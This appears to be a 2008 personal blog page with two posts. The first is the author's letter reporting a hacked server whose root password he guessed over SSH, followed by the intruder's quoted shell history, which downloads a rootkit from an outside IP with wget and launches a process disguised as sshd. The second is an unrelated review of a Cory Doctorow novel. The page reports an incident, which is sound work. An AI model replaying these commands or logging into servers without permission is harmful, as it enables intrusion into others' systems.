The T-Files


Wed, 09 Jul 2008

I think your server has been hacked !!!

Dear server administrators,

I think your server (72.249.xx.xx) has been hacked and is being used
for malicious purposes right now.

During a routine check of my own server (based in Germany) I found
that it was being attacked (brute-force password guessing) from
72.249.xx.xx, which is your server.

Trying to find out what to do about this, I tried to log in (via ssh)
to your server, which was trivially possible (the root password is
very, very simple, I guessed it on my first attempt).

Please change your password ASAP.

While logged in to your server, I could see that a process
was probing other servers on the Internet to find more weak passwords.
I also saw another user logged in (as root) from 79.116.xx.xx,
which may or may not be the attacker.

Since I have no business nosing around on your server, I logged out
again without doing anything.

Best regards,

Thilo Planz

I wish my UNIX-fu was stronger, I did not really know what to do about this, which is probably a good thing, since I really have no business being on their server. But still, I felt like killing this guy's processes and blocking his IP. Although, I suppose this whole thing is an automated process, and he would not even notice me slapping his fingers.

What I could see is that he was spawning lots of ssh processes, apparently searching whole IP ranges for easy root passwords (which is how he must have gotten to this American high school's server).

The command history had this interesting sequence, which downloads a root kit and then starts a hidden web server to propagate itself or maybe remotely control the machine.

  252  cd /var/tmp
  253  ls -a
  254  wget http://63.249.225.72/icons/stealth.tgz
  255  tar zxvf stealth.tgz
  256  rm -rf stealth.tgz
  257  mv l .ls
  258  cd .ls
  259  ./h -s "/usr/sbin/sshd" ./httpd

Cory Doctorow: Someone Comes to Town, Someone Leaves Town

Alan has just sold his shop and purchased a house that he plans to write his story in. He spends the rest of his time helping Kurt with his project to set up a free neighbourhood Wi-Fi network. Adam's peace is destroyed by visits from his younger brothers Eric, Fred, and George, who are a set of Russian nesting dolls (Alvin comes closest to human in his family: his father is a mountain, his mother a washing machine, the other brothers Ben, Charlie, and Dean are a psychic, an island and undead). As children, they have jointly murdered Daniel, who was intolerable in the first place and is now really angry, apparently planning to revenge himself by killing his brothers.

Sometimes billed as science-fiction, I would rather call Someone a fantasy or a horror novel. I really liked the part about Albert's family (and hope to see a future short story based in that world). The real-world subplot about the Wi-Fi network felt out of place, however. I see the need for showing how he interacts with humans, but it just felt like a lecture. It would have been more interesting to for example follow Aaron's house remodelling efforts, or maybe have him open another shop.